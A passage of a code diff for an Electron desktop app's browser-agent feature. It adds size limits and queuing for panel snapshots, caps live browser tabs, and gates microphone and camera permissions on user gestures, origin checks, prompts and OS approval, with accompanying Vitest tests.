+
+  it('refuses a panel capture whose pixel budget is unsafe', async () => {
+    const { win, view } = showPanel(panel)
+    const scopeId = panel.getActivePanelScopeId()
+    vi.mocked(win.getContentSize).mockReturnValue([10_000, 10_000])
+    panel.setPanelBounds({ x: 0, y: 0, width: 5_000, height: 5_000 }, win)
+    vi.mocked(view.webContents.capturePage).mockClear()
+
+    await expect(panel.capturePanelSnapshot(win, scopeId)).resolves.toBeNull()
+    expect(view.webContents.capturePage).not.toHaveBeenCalled()
+  })
+
   it('requests a fresh compositor frame when a browser view is attached or revealed', () => {
     const { win, view } = showPanel(panel)
 
diff --git a/apps/desktop/src/main/browser-agent/panel.ts b/apps/desktop/src/main/browser-agent/panel.ts
index 27b609ca8cc..207448ffba4 100644
--- a/apps/desktop/src/main/browser-agent/panel.ts
+++ b/apps/desktop/src/main/browser-agent/panel.ts
@@ -31,6 +31,8 @@ const logger = createLogger('BrowserAgentPanel')
  */
 const PANEL_LEASE_TTL_MS = 2_500
 const PANEL_LEASE_CHECK_MS = 1_000
+const MAX_PANEL_SNAPSHOT_PIXELS = 16_777_216
+const MAX_PANEL_SNAPSHOT_DATA_URL_LENGTH = 32 * 1024 * 1024
 
 /** What the panel needs from the session, supplied once by {@link initPanel}. */
 export interface PanelHost {
@@ -67,6 +69,19 @@ let panelOccluded = false
 let occlusionOwnerWindow: BrowserWindow | null = null
 /** Invalidates captures when ownership, scope, or panel visibility changes. */
 let panelCaptureGeneration = 0
+let inFlightPanelCapture: {
+  generation: number
+  key: string
+  promise: Promise<BrowserPanelSnapshot | null>
+} | null = null
+let queuedPanelCapture: {
+  key: string
+  ownerWindow: BrowserWindow | undefined
+  promise: Promise<BrowserPanelSnapshot | null>
+  reject: (reason?: unknown) => void
+  resolve: (snapshot: BrowserPanelSnapshot | null) => void
+  scopeId: string
+} | null = null
 let panelLeaseAt = 0
 let leaseTimer: ReturnType<typeof setInterval> | null = null
 /** Chat whose native browser surface may currently be composited. */
@@ -299,6 +314,8 @@ function resetOcclusion(): void {
   occlusionOwnerWindow = null
   occludableFrame = null
   panelCaptureGeneration++
+  queuedPanelCapture?.resolve(null)
+  queuedPanelCapture = null
 }
 
 /**
@@ -491,6 +508,39 @@ function blankSnapshot(
   }
 }
 
+function queuePanelCapture(
+  key: string,
+  ownerWindow: BrowserWindow | undefined,
+  scopeId: string
+): Promise<BrowserPanelSnapshot | null> {
+  if (queuedPanelCapture?.key === key) return queuedPanelCapture.promise
+
+  panelCaptureGeneration++
+  queuedPanelCapture?.resolve(null)
+  let resolveCapture!: (snapshot: BrowserPanelSnapshot | null) => void
+  let rejectCapture!: (reason?: unknown) => void
+  const promise = new Promise<BrowserPanelSnapshot | null>((resolve, reject) => {
+    resolveCapture = resolve
+    rejectCapture = reject
+  })
+  queuedPanelCapture = {
+    key,
+    ownerWindow,
+    promise,
+    reject: rejectCapture,
+    resolve: resolveCapture,
+    scopeId,
+  }
+  return promise
+}
+
+function startQueuedPanelCapture(): void {
+  const queued = queuedPanelCapture
+  if (!queued) return
+  queuedPanelCapture = null
+  void capturePanelSnapshot(queued.ownerWindow, queued.scopeId).then(queued.resolve, queued.reject)
+}
+
 /**
  * Captures the compositor surface without resizing or lossy encoding.
  *
@@ -520,8 +570,6 @@ export async function capturePanelSnapshot(
   layout()
   if (attachedView !== active.view) return null
 
-  const generation = ++panelCaptureGeneration
-  occludableFrame = null
   const tabId = active.id
   const contents = active.view.webContents
   const shellZoom = win.webContents.getZoomFactor()
@@ -535,41 +583,106 @@ export async function capturePanelSnapshot(
     nativeBounds,
   }
   const viewportBounds = viewportBoundsFor(nativeBounds, shellZoom)
-  const zoomPercent = zoomPercentOf(contents.getZoomFactor())
+  const contentsZoom = contents.getZoomFactor()
+  const zoomPercent = zoomPercentOf(contentsZoom)
   const url = contents.getURL()
   if (url === '' || url === 'about:blank') {
+    panelCaptureGeneration++
+    occludableFrame = null
     if (!frameGeometryIsCurrent(frame)) return null
     occludableFrame = frame
     return blankSnapshot(scopeId, tabId, zoomPercent, viewportBounds)
   }
+  if (
+    nativeBounds.width <= 0 ||
+    nativeBounds.height <= 0 ||
+    nativeBounds.width * nativeBounds.height > MAX_PANEL_SNAPSHOT_PIXELS
+  ) {
+    logger.warn('Browser panel is too large to capture safely', {
+      width: nativeBounds.width,
+      height: nativeBounds.height,
+    })
+    return null
+  }
+
+  const captureKey = JSON.stringify([
+    win.id,
+    scopeId,
+    tabId,
+    url,
+    contentsZoom,
+    shellZoom,
+    nativeBounds.x,
+    nativeBounds.y,
+    nativeBounds.width,
+    nativeBounds.height,
+  ])
+  if (
+    inFlightPanelCapture?.key === captureKey &&
+    inFlightPanelCapture.generation === panelCaptureGeneration
+  ) {
+    return inFlightPanelCapture.promise
+  }
+  if (inFlightPanelCapture) return queuePanelCapture(captureKey, ownerWindow, scopeId)
+
+  occludableFrame = null
+  const generation = ++panelCaptureGeneration
+  let capture: ReturnType<typeof contents.capturePage>
   try {
-    const image = await contents.capturePage(undefined, { stayHidden: false })
-    if (
-      generation !== panelCaptureGeneration ||
-      scopeId !== activePanelScopeId ||
-      host.activeTab()?.id !== tabId ||
-      panelWindow() !== win ||
-      win.isDestroyed() ||
-      !frameGeometryIsCurrent(frame) ||
-      image.isEmpty()
-    ) {
-      return null
-    }
-    const snapshot: BrowserPanelSnapshot = {
-      scopeId,
-      tabId,
-      zoomPercent,
-      viewportBounds,
-      dataUrl: image.toDataURL(),
-    }
-    occludableFrame = frame
-    return snapshot
+    capture = contents.capturePage(undefined, { stayHidden: false })
   } catch (error) {
     logger.warn('Could not capture browser panel for a toolbar menu', {
       error: getErrorMessage(error, 'unknown'),
     })
     return null
   }
+  const promise = capture
+    .then((image): BrowserPanelSnapshot | null => {
+      const imageSize = image.getSize()
+      if (
+        generation !== panelCaptureGeneration ||
+        scopeId !== activePanelScopeId ||
+        host.activeTab()?.id !== tabId ||
+        panelWindow() !== win ||
+        win.isDestroyed() ||
+        !frameGeometryIsCurrent(frame) ||
+        image.isEmpty() ||
+        imageSize.width <= 0 ||
+        imageSize.height <= 0 ||
+        imageSize.width * imageSize.height > MAX_PANEL_SNAPSHOT_PIXELS
+      ) {
+        return null
+      }
+      const dataUrl = image.toDataURL()
+      if (dataUrl.length > MAX_PANEL_SNAPSHOT_DATA_URL_LENGTH) {
+        logger.warn('Browser panel snapshot exceeded the encoded size limit', {
+          bytes: dataUrl.length,
+        })
+        return null
+      }
+      const snapshot: BrowserPanelSnapshot = {
+        scopeId,
+        tabId,
+        zoomPercent,
+        viewportBounds,
+        dataUrl,
+      }
+      occludableFrame = frame
+      return snapshot
+    })
+    .catch((error) => {
+      logger.warn('Could not capture browser panel for a toolbar menu', {
+        error: getErrorMessage(error, 'unknown'),
+      })
+      return null
+    })
+    .finally(() => {
+      if (inFlightPanelCapture?.promise !== promise) return
+      inFlightPanelCapture = null
+      startQueuedPanelCapture()
+    })
+  inFlightPanelCapture = { generation, key: captureKey, promise }
+  return promise
 }
 
 /**
diff --git a/apps/desktop/src/main/browser-agent/session.test.ts b/apps/desktop/src/main/browser-agent/session.test.ts
index c11989dc788..84de584d9d1 100644
--- a/apps/desktop/src/main/browser-agent/session.test.ts
+++ b/apps/desktop/src/main/browser-agent/session.test.ts
@@ -6,7 +6,7 @@ import { beforeEach, describe, expect, it, vi } from 'vitest'
 
 vi.mock('electron', () => import('@/test/electron-mock'))
 
-import { BrowserWindow, session as electronSession, Menu, shell } from 'electron'
+import { BrowserWindow, session as electronSession, Menu, shell, systemPreferences } from 'electron'
 import { BASE_ZOOM_FACTOR, steppedZoomFactor } from '@/main/browser-agent/context-menu'
 import * as panel from '@/main/browser-agent/panel'
 import * as sessionModule from '@/main/browser-agent/session'
@@ -14,6 +14,12 @@ import type { BrowserSessionSnapshot } from '@/main/desktop-chat-session-store'
 
 type SessionModule = typeof import('@/main/browser-agent/session')
 
+const realPlatform = process.platform
+
+function setPlatform(platform: NodeJS.Platform): void {
+  Object.defineProperty(process, 'platform', { configurable: true, value: platform })
+}
+
 interface MockView {
   webContents: {
     session: {
@@ -480,6 +486,133 @@ describe('browser-agent session', () => {
     })
   })
 
+  it('bounds restored tabs while retaining pinned tabs and the active page', () => {
+    const tabs = Array.from({ length: 40 }, (_, index) => ({
+      url: `https://tab-${index}.example/`,
+      pinned: index < 5,
+    }))
+    const { persistence } = memoryBrowserPersistence({
+      'chat-bounded-tabs': {
+        v: 1,
+        tabs,
+        activeIndex: tabs.length - 1,
+        downloads: [],
+      },
+    })
+    session = freshSession(win, {}, persistence)
+
+    const restored = session.withBrowserScope('chat-bounded-tabs', () => {
+      session.restoreBrowserSession()
+      return session.getTabsState()
+    })
+
+    expect(restored.tabs).toHaveLength(32)
+    expect(restored.tabs.filter((tab) => tab.pinned)).toHaveLength(5)
+    expect(restored.tabs.find((tab) => tab.active)?.url).toBe('https://tab-39.example/')
+  })
+
+  it('refuses to materialize more than the per-task live tab budget', () => {
+    session.ensureTab()
+    for (let index = 1; index < 32; index++) session.addTab()
+
+    expect(() => session.addTab()).toThrow('at most 32 open tabs')
+    expect(session.getTabsState().tabs).toHaveLength(32)
+  })
+
+  it('bounds the total number of live browser WebContents across tasks', () => {
+    for (let scopeIndex = 0; scopeIndex < 3; scopeIndex++) {
+      session.withBrowserScope(`chat-cap-${scopeIndex}`, () => {
+        session.ensureTab()
+        for (let tabIndex = 1; tabIndex < 32; tabIndex++) session.addTab()
+      })
+    }
+
+    expect(() => session.withBrowserScope('chat-cap-overflow', () => session.ensureTab())).toThrow(
+      'at most 96 live browser tabs'
+    )
+  })
+
+  it('does not truncate a saved browser session while the global tab budget is occupied', () => {
+    const savedTabs = [
+      { url: 'https://saved-one.example/', pinned: false },
+      { url: 'https://saved-two.example/', pinned: false },
+    ]
+    const { persistence, snapshots } = memoryBrowserPersistence({
+      'chat-pending-restore': {
+        v: 1,
+        tabs: savedTabs,
+        activeIndex: 1,
+        downloads: [],
+      },
+    })
+    session = freshSession(win, {}, persistence)
+    for (let scopeIndex = 0; scopeIndex < 3; scopeIndex++) {
+      session.withBrowserScope(`chat-cap-${scopeIndex}`, () => {
+        session.ensureTab()
+        for (let tabIndex = 1; tabIndex < 32; tabIndex++) session.addTab()
+      })
+    }
+
+    expect(() =>
+      session.withBrowserScope('chat-pending-restore', () => session.restoreBrowserSession())
+    ).toThrow('at most 96 live browser tabs')
+    expect(snapshots.get('chat-pending-restore')?.tabs).toEqual(savedTabs)
+
+    session.withBrowserScope('chat-cap-0', () => {
+      const [first, second] = session.getTabsState().tabs
+      session.closeTab(first.tabId)
+      session.closeTab(second.tabId)
+    })
+    const restored = session.withBrowserScope('chat-pending-restore', () => {
+      session.restoreBrowserSession()
+      return session.getTabsState()
+    })
+
+    expect(restored.tabs.map(({ url }) => url)).toEqual(savedTabs.map(({ url }) => url))
+    expect(restored.tabs.find((tab) => tab.active)?.url).toBe('https://saved-two.example/')
+  })
+
+  it('rolls back a failed restore and retries without duplicating tabs', () => {
+    const { persistence } = memoryBrowserPersistence({
+      'chat-retry': {
+        v: 1,
+        tabs: [
+          { url: 'https://one.example/', pinned: false },
+          { url: 'https://two.example/', pinned: true },
+          { url: 'https://three.example/', pinned: false },
+        ],
+        activeIndex: 2,
+        downloads: [],
+      },
+    })
+    const createdContents: MockView['webContents'][] = []
+    const onTabCreated = vi.fn((contents: WebContents) => {
+      createdContents.push(contents as unknown as MockView['webContents'])
+      if (createdContents.length === 2) throw new Error('instrumentation failed')
+    })
+    session = freshSession(win, { onTabCreated }, persistence)
+
+    expect(() =>
+      session.withBrowserScope('chat-retry', () => session.restoreBrowserSession())
+    ).toThrow('instrumentation failed')
+    expect(session.withBrowserScope('chat-retry', () => session.peekTabsState().tabs)).toEqual([])
+    expect(createdContents).toHaveLength(2)
+    expect(createdContents.every((contents) => contents.close.mock.calls.length === 1)).toBe(true)
+
+    session.withBrowserScope('chat-retry', () => session.restoreBrowserSession())
+    expect(session.withBrowserScope('chat-retry', () => session.getTabsState())).toMatchObject({
+      activeTabId: '3',
+      tabs: [
+        { tabId: '2', url: 'https://two.example/', pinned: true, active: false },
+        { tabId: '1', url: 'https://one.example/', pinned: false, active: false },
+        { tabId: '3', url: 'https://three.example/', pinned: false, active: true },
+      ],
+    })
+
+    session.withBrowserScope('chat-retry', () => session.restoreBrowserSession())
+    expect(createdContents).toHaveLength(5)
+  })
+
   it('quiesces live scopes without publishing session closure', () => {
     const onTabsChanged = vi.fn()
     const onSessionClosed = vi.fn()
@@ -1954,9 +2087,18 @@ describe('browser-agent session', () => {
     expect(event.preventDefault).toHaveBeenCalledOnce()
   })
 
-  it('permission handlers deny everything on the agent partition but the copy button and media', async () => {
+  it('grants media only after an active-page, origin-scoped user decision', async () => {
+    vi.mocked(win.isFocused).mockReturnValue(true)
+    panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 })
     const tab = session.ensureTab()
-    const ses = (tab.view as unknown as MockView).webContents.session
+    const contents = (tab.view as unknown as MockView).webContents
+    contents.isFocused.mockReturnValue(true)
+    const gestureHandler = contents.on.mock.calls.find(
+      ([eventName]) => eventName === 'before-mouse-event'
+    )?.[1] as ((_event: unknown, mouse: { type: string }) => void) | undefined
+    gestureHandler?.({}, { type: 'mouseDown' })
+
+    const ses = contents.session
     const requestHandler = ses.setPermissionRequestHandler.mock.calls[0][0] as (
       wc: unknown,
       permission: string,
@@ -1979,13 +2121,67 @@ describe('browser-agent session', () => {
       expect(checkHandler(null, permission)).toBe(false)
     }
 
-    // Media is the deliberate exception — the agent browser joins real
-    // meetings — but the grant is gated on the OS grant (mocked as granted
-    // here), so System Settings remains the real authority.
     const mediaCallback = vi.fn()
-    requestHandler(null, 'media', mediaCallback, { mediaTypes: ['audio', 'video'] })
-    await vi.waitFor(() => expect(mediaCallback).toHaveBeenCalledWith(true))
-    expect(checkHandler(null, 'media', undefined, { mediaType: 'audio' })).toBe(true)
+    requestHandler(contents, 'media', mediaCallback, {
+      isMainFrame: true,
+      mediaTypes: ['audio'],
+      requestingUrl: 'https://example.com/',
+      securityOrigin: 'https://example.com',
+    })
+    expect(mediaCallback).not.toHaveBeenCalled()
+    const prompt = session.mediaPermissionRequestForContents(contents as unknown as WebContents)
+    expect(prompt).toMatchObject({
+      origin: 'https://example.com',
+      devices: ['microphone'],
+    })
+
+    await session.respondToMediaPermission(prompt?.requestId ?? '', true)
+
+    expect(mediaCallback).toHaveBeenCalledWith(true)
+    expect(
+      checkHandler(contents, 'media', 'https://example.com', {
+        isMainFrame: true,
+        mediaType: 'audio',
+      })
+    ).toBe(true)
+    expect(
+      checkHandler(contents, 'media', 'https://example.com', {
+        isMainFrame: true,
+        mediaType: 'video',
+      })
+    ).toBe(false)
+    expect(
+      checkHandler(contents, 'media', 'https://other.example', {
+        isMainFrame: true,
+        mediaType: 'audio',
+      })
+    ).toBe(false)
+    expect(
+      checkHandler(contents, 'media', 'https://example.com', {
+        isMainFrame: false,
+        mediaType: 'audio',
+      })
+    ).toBe(false)
+
+    mainFrameNavigationStarted(contents)
+    expect(
+      checkHandler(contents, 'media', 'https://example.com', {
+        isMainFrame: true,
+        mediaType: 'audio',
+      })
+    ).toBe(false)
+
+    const staleGestureCallback = vi.fn()
+    requestHandler(contents, 'media', staleGestureCallback, {
+      isMainFrame: true,
+      mediaTypes: ['audio'],
+      requestingUrl: 'https://example.com/',
+      securityOrigin: 'https://example.com',
+    })
+    expect(staleGestureCallback).toHaveBeenCalledWith(false)
+    expect(
+      session.mediaPermissionRequestForContents(contents as unknown as WebContents)
+    ).toBeUndefined()
 
     // Chromium routes navigator.clipboard.writeText through this one; denying
     // it silently broke every copy button that does not use execCommand.
@@ -1995,6 +2191,174 @@ describe('browser-agent session', () => {
     expect(checkHandler(null, 'clipboard-sanitized-write')).toBe(true)
   })
 
+  it('default-denies hidden, subframe, origin-mismatched, and untyped media requests', () => {
+    const tab = session.ensureTab()
+    const contents = (tab.view as unknown as MockView).webContents
+    const requestHandler = contents.session.setPermissionRequestHandler.mock.calls[0][0] as (
+      wc: unknown,
+      permission: string,
+      callback: (granted: boolean) => void,
+      details?: unknown
+    ) => void
+
+    vi.mocked(win.isFocused).mockReturnValue(true)
+    contents.isFocused.mockReturnValue(true)
+    const gestureHandler = contents.on.mock.calls.find(
+      ([eventName]) => eventName === 'before-mouse-event'
+    )?.[1] as ((_event: unknown, mouse: { type: string }) => void) | undefined
+    gestureHandler?.({}, { type: 'mouseDown' })
+    const hidden = vi.fn()
+    requestHandler(contents, 'media', hidden, {
+      isMainFrame: true,
+      mediaTypes: ['audio'],
+      requestingUrl: 'https://example.com/',
+      securityOrigin: 'https://example.com',
+    })
+    expect(hidden).toHaveBeenCalledWith(false)
+
+    for (const details of [
+      {
+        isMainFrame: false,
+        mediaTypes: ['audio'],
+        requestingUrl: 'https://example.com/',
+        securityOrigin: 'https://example.com',
+      },
+      {
+        isMainFrame: true,
+        mediaTypes: [],
+        requestingUrl: 'https://example.com/',
+        securityOrigin: 'https://example.com',
+      },
+      {
+        isMainFrame: true,
+        mediaTypes: ['audio'],
+        requestingUrl: 'https://other.example/',
+        securityOrigin: 'https://other.example',
+      },
+    ]) {
+      const callback = vi.fn()
+      requestHandler(contents, 'media', callback, details)
+      expect(callback).toHaveBeenCalledWith(false)
+    }
+
+    expect(
+      session.mediaPermissionRequestForContents(contents as unknown as WebContents)
+    ).toBeFalsy()
+  })
+
+  it('denies a pending media request when its document navigates or tab closes', () => {
+    vi.mocked(win.isFocused).mockReturnValue(true)
+    panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 })
+    const tab = session.ensureTab()
+    const contents = (tab.view as unknown as MockView).webContents
+    contents.isFocused.mockReturnValue(true)
+    const gestureHandler = contents.on.mock.calls.find(
+      ([eventName]) => eventName === 'before-mouse-event'
+    )?.[1] as ((_event: unknown, mouse: { type: string }) => void) | undefined
+    const requestHandler = contents.session.setPermissionRequestHandler.mock.calls[0][0] as (
+      wc: unknown,
+      permission: string,
+      callback: (granted: boolean) => void,
+      details?: unknown
+    ) => void
+    const request = (callback: (granted: boolean) => void) => {
+      gestureHandler?.({}, { type: 'mouseDown' })
+      requestHandler(contents, 'media', callback, {
+        isMainFrame: true,
+        mediaTypes: ['audio', 'video'],
+        requestingUrl: 'https://example.com/',
+        securityOrigin: 'https://example.com',
+      })
+    }
+
+    const navigated = vi.fn()
+    request(navigated)
+    mainFrameNavigationStarted(contents)
+    expect(navigated).toHaveBeenCalledWith(false)
+
+    const closed = vi.fn()
+    request(closed)
+    session.closeTab(tab.id)
+    expect(closed).toHaveBeenCalledWith(false)
+  })
+
+  it('keeps the site denied when the operating system rejects an approved device', async () => {
+    setPlatform('darwin')
+    try {
+      vi.mocked(systemPreferences.getMediaAccessStatus).mockReturnValue('not-determined')
+      vi.mocked(systemPreferences.askForMediaAccess).mockResolvedValue(false)
+      win.isFocused = vi.fn(() => true)
+      panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 })
+      const tab = session.ensureTab()
+      const contents = (tab.view as unknown as MockView).webContents
+      contents.isFocused.mockReturnValue(true)
+      const gestureHandler = contents.on.mock.calls.find(
+        ([eventName]) => eventName === 'before-mouse-event'
+      )?.[1] as ((_event: unknown, mouse: { type: string }) => void) | undefined
+      gestureHandler?.({}, { type: 'mouseDown' })
+      const requestHandler = contents.session.setPermissionRequestHandler.mock.calls[0][0] as (
+        wc: unknown,
+        permission: string,
+        callback: (granted: boolean) => void,
+        details?: unknown
+      ) => void
+      const callback = vi.fn()
+      requestHandler(contents, 'media', callback, {
+        isMainFrame: true,
+        mediaTypes: ['video'],
+        requestingUrl: 'https://example.com/',
+        securityOrigin: 'https://example.com',
+      })
+
+      const prompt = session.mediaPermissionRequestForContents(contents as unknown as WebContents)
+      await session.respondToMediaPermission(prompt?.requestId ?? '', true)
+
+      expect(systemPreferences.askForMediaAccess).toHaveBeenCalledWith('camera')
+      expect(callback).toHaveBeenCalledWith(false)
+    } finally {
+      setPlatform(realPlatform)
+      vi.mocked(systemPreferences.getMediaAccessStatus).mockReturnValue('granted')
+      vi.mocked(systemPreferences.askForMediaAccess).mockResolvedValue(true)
+    }
+  })
+
+  it('fails a media prompt closed when the user does not answer it', async () => {
+    vi.useFakeTimers()
+    try {
+      win.isFocused = vi.fn(() => true)
+      panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 })
+      const tab = session.ensureTab()
+      const contents = (tab.view as unknown as MockView).webContents
+      contents.isFocused.mockReturnValue(true)
+      const gestureHandler = contents.on.mock.calls.find(
+        ([eventName]) => eventName === 'before-mouse-event'
+      )?.[1] as ((_event: unknown, mouse: { type: string }) => void) | undefined
+      gestureHandler?.({}, { type: 'mouseDown' })
+      const requestHandler = contents.session.setPermissionRequestHandler.mock.calls[0][0] as (
+        wc: unknown,
+        permission: string,
+        callback: (granted: boolean) => void,
+        details?: unknown
+      ) => void
+      const callback = vi.fn()
+      requestHandler(contents, 'media', callback, {
+        isMainFrame: true,
+        mediaTypes: ['audio'],
+        requestingUrl: 'https://example.com/',
+        securityOrigin: 'https://example.com',
+      })
+
+      await vi.advanceTimersByTimeAsync(30_000)
+
+      expect(callback).toHaveBeenCalledWith(false)
+      expect(
+        session.mediaPermissionRequestForContents(contents as unknown as WebContents)
+      ).toBeUndefined()
+    } finally {
+      vi.useRealTimers()
+    }
+  })
+
   it('leaves nothing of the signed-out user behind in the browser profile', async () => {
     const clearStorageData = vi.fn(async () => {})
     const clearCache = vi.fn(async () => {})
@@ -2235,6 +2599,41 @@ describe('browser-agent session', () => {
       state: 'completed',
     })
   })
+
+  it('does not recreate a disposed scope when a download finishes later', () => {
+    const directory = mkdtempSync(join(tmpdir(), 'sim-browser-downloads-'))
+    const { persistence, snapshots } = memoryBrowserPersistence()
+    session = freshSession(win, {}, persistence, { getDirectory: () => directory })
+    const contents = (session.ensureTab().view as unknown as MockView).webContents
+    const webSession = contents.session as typeof contents.session & {
+      on: ReturnType<typeof vi.fn>
+    }
+    const willDownload = webSession.on.mock.calls.find(
+      ([eventName]) => eventName === 'will-download'
+    )?.[1] as
+      | ((event: unknown, item: Record<string, unknown>, contents: unknown) => void)
+      | undefined
+    const item = {
+      getFilename: vi.fn(() => 'late.txt'),
+      getMimeType: vi.fn(() => 'text/plain'),
+      getReceivedBytes: vi.fn(() => 4),
+      getTotalBytes: vi.fn(() => 4),
+      setSavePath: vi.fn(),
+      cancel: vi.fn(),
+      on: vi.fn(),
+      once: vi.fn(),
+    }
+    willDownload?.({}, item, contents)
+    const done = item.once.mock.calls.find(([eventName]) => eventName === 'done')?.[1] as
+      | ((event: unknown, state: 'completed') => void)
+      | undefined
+
+    session.disposeBrowserScope('chat-test')
+    done?.({}, 'completed')
+
+    expect(session.getBrowserDownloadsState('chat-test').downloads).toEqual([])
+    expect(snapshots.has('chat-test')).toBe(false)
+  })
 })
 
 /**
diff --git a/apps/desktop/src/main/browser-agent/session.ts b/apps/desktop/src/main/browser-agent/session.ts
index bd13b9de908..9d5c041a700 100644
--- a/apps/desktop/src/main/browser-agent/session.ts
+++ b/apps/desktop/src/main/browser-agent/session.ts
@@ -5,6 +5,8 @@ import type {
   BrowserDataKind,
   BrowserFindRequest,
   BrowserFindResult,
+  BrowserMediaDevice,
+  BrowserMediaPermissionRequest,
   BrowserOmniboxFocusMode,
   BrowserPageIssue,
   BrowserTabState,
@@ -91,6 +93,21 @@ export interface AgentTab {
   syntheticForward?: { url: string; baseHistoryIndex: number }
   preserveSyntheticForwardOnNextNavigation?: boolean
   recoveringUnresponsive?: boolean
+  pendingMediaPermission?: PendingMediaPermission
+  mediaPermissionGrant?: MediaPermissionGrant
+  lastRealUserGestureAt?: number
+}
+
+interface PendingMediaPermission {
+  request: BrowserMediaPermissionRequest
+  documentUrl: string
+  callback: (permissionGranted: boolean) => void
+  timeout: ReturnType<typeof setTimeout>
+}
+
+interface MediaPermissionGrant {
+  origin: string
+  devices: Set<BrowserMediaDevice>
 }
 
 export interface BrowserSessionPersistence {
@@ -139,6 +156,10 @@ export interface AgentSessionEvents {
  * must never outlive the reports.
  */
 const MAX_RECENTLY_CLOSED_TABS = 10
+const MAX_LIVE_TABS_PER_SCOPE = 32
+const MAX_LIVE_TABS_GLOBAL = 96
+const MEDIA_PERMISSION_GESTURE_WINDOW_MS = 10_000
+const MEDIA_PERMISSION_PROMPT_TIMEOUT_MS = 30_000
 
 export type BrowserShortcut = 'focus-omnibox' | 'new-tab' | 'close-tab' | 'find'
 
@@ -229,6 +250,23 @@ function createBrowserScopeState(): BrowserScopeState {
   }
 }
 
+function liveBrowserTabCount(): number {
+  let count = 0
+  for (const state of browserScopeStates.values()) count += state.tabs.length
+  return count
+}
+
+function assertTabCapacity(): void {
+  if (tabs.length >= MAX_LIVE_TABS_PER_SCOPE) {
+    throw new SessionError(`A task browser can have at most ${MAX_LIVE_TABS_PER_SCOPE} open tabs.`)
+  }
+  if (liveBrowserTabCount() >= MAX_LIVE_TABS_GLOBAL) {
+    throw new SessionError(
+      `Sim can have at most ${MAX_LIVE_TABS_GLOBAL} live browser tabs. Close a tab in another task and try again.`
+    )
+  }
+}
+
 const browserScopeStorage = new AsyncLocalStorage<string>()
 const browserScopeStates = new Map<string, BrowserScopeState>()
 const browserScopeAliases = new Map<string, string>()
@@ -834,18 +872,9 @@ export async function importAgentCookies(
  */
 const ALLOWED_SITE_PERMISSIONS = new Set(['clipboard-sanitized-write'])
 
-/**
- * Grants a getUserMedia request only when macOS has actually authorized the
- * devices it names. Granting site permission without the OS grant makes the
- * page fail with a misleading NotReadableError instead of a permission prompt,
- * and macOS kills the process outright when the bundle lacks usage strings —
- * so the OS is asked FIRST, which surfaces the system prompt on first use.
- */
-async function ensureOsMediaAccess(mediaTypes: readonly string[] | undefined): Promise<boolean> {
+async function ensureOsMediaAccess(devices: readonly BrowserMediaDevice[]): Promise<boolean> {
   if (process.platform !== 'darwin') return true
-  const wanted = mediaTypes && mediaTypes.length > 0 ? mediaTypes : ['audio', 'video']
-  for (const type of wanted) {
-    const device = type === 'video' ? 'camera' : 'microphone'
+  for (const device of devices) {
     if (systemPreferences.getMediaAccessStatus(device) === 'granted') continue
     const granted = await systemPreferences.askForMediaAccess(device).catch(() => false)
     if (!granted) return false
@@ -853,38 +882,220 @@ async function ensureOsMediaAccess(mediaTypes: readonly string[] | undefined): P
   return true
 }
 
+function mediaOrigin(candidate: unknown): string | null {
+  if (typeof candidate !== 'string' || candidate.length > 8_192) return null
+  try {
+    const url = new URL(candidate)
+    return url.protocol === 'https:' || url.protocol === 'http:' ? url.origin : null
+  } catch {
+    return null
+  }
+}
+
+function requestedMediaDevices(candidate: unknown): BrowserMediaDevice[] | null {
+  if (!Array.isArray(candidate) || candidate.length === 0) return null
+  const devices = new Set<BrowserMediaDevice>()
+  for (const type of candidate) {
+    if (type === 'audio') devices.add('microphone')
+    else if (type === 'video') devices.add('camera')
+    else return null
+  }
+  return [...devices]
+}
+
+function scopedTabForContents(contents: WebContents): { scopeId: string; tab: AgentTab } | null {
+  const scopeId = browserScopeIdForContents(contents)
+  if (!scopeId) return null
+  const tab = browserScopeStates
+    .get(scopeId)
+    ?.tabs.find((candidate) => candidate.view.webContents === contents)
+  return tab ? { scopeId, tab } : null
+}
+
+function mediaRequestIsUserInitiated(scopeId: string, tab: AgentTab): boolean {
+  const win = panelWindow()
+  return (
+    resolveBrowserScopeId(scopeId) === getActiveBrowserScopeId() &&
+    browserScopeStates.get(scopeId)?.activeTabId === tab.id &&
+    isPanelVisible() &&
+    Boolean(win && !win.isDestroyed() && win.isFocused()) &&
+    tab.view.webContents.isFocused() &&
+    typeof tab.lastRealUserGestureAt === 'number' &&
+    Date.now() - tab.lastRealUserGestureAt <= MEDIA_PERMISSION_GESTURE_WINDOW_MS
+  )
+}
+
+function settleMediaPermission(tab: AgentTab, allowed: boolean): boolean {
+  const pending = tab.pendingMediaPermission
+  if (!pending) return false
+  tab.pendingMediaPermission = undefined
+  clearTimeout(pending.timeout)
+  try {
+    pending.callback(allowed)
+  } catch (error) {
+    logger.warn('Could not answer a browser media permission request', {
+      error: getErrorMessage(error),
+    })
+  }
+  return true
+}
+
+function revokeTabMediaPermissions(tab: AgentTab, publish = true): void {
+  const hadPrompt = settleMediaPermission(tab, false)
+  tab.mediaPermissionGrant = undefined
+  tab.lastRealUserGestureAt = undefined
+  if (hadPrompt && publish) publishPageIssue(tab)
+}
+
+/** Pending prompt metadata for the renderer-owned permission bubble. */
+export function mediaPermissionRequestForContents(
+  contents: WebContents
+): BrowserMediaPermissionRequest | undefined {
+  return tabForContents(contents)?.pendingMediaPermission?.request
+}
+
+/** Applies the user's response only to the exact live document that requested it. */
+export async function respondToMediaPermission(requestId: string, allowed: boolean): Promise<void> {
+  const tab = activeTab()
+  const pending = tab?.pendingMediaPermission
+  if (!tab || !pending || pending.request.requestId !== requestId) return
+
+  if (!allowed) {
+    settleMediaPermission(tab, false)
+    publishPageIssue(tab)
+    return
+  }
+
+  const contents = tab.view.webContents
+  const currentOrigin = mediaOrigin(contents.getURL())
+  if (
+    currentOrigin !== pending.request.origin ||
+    contents.getURL() !== pending.documentUrl ||
+    getBrowserScopeId() !== getActiveBrowserScopeId() ||
+    !isPanelVisible()
+  ) {
+    settleMediaPermission(tab, false)
+    publishPageIssue(tab)
+    return
+  }
+
+  const osAllowed = await ensureOsMediaAccess(pending.request.devices)
+  if (
+    tab.pendingMediaPermission !== pending ||
+    tab.view.webContents.isDestroyed() ||
+    mediaOrigin(contents.getURL()) !== pending.request.origin ||
+    contents.getURL() !== pending.documentUrl ||
+    tab.id !== currentScope.activeTabId ||
+    getBrowserScopeId() !== getActiveBrowserScopeId() ||
+    !isPanelVisible()
+  ) {
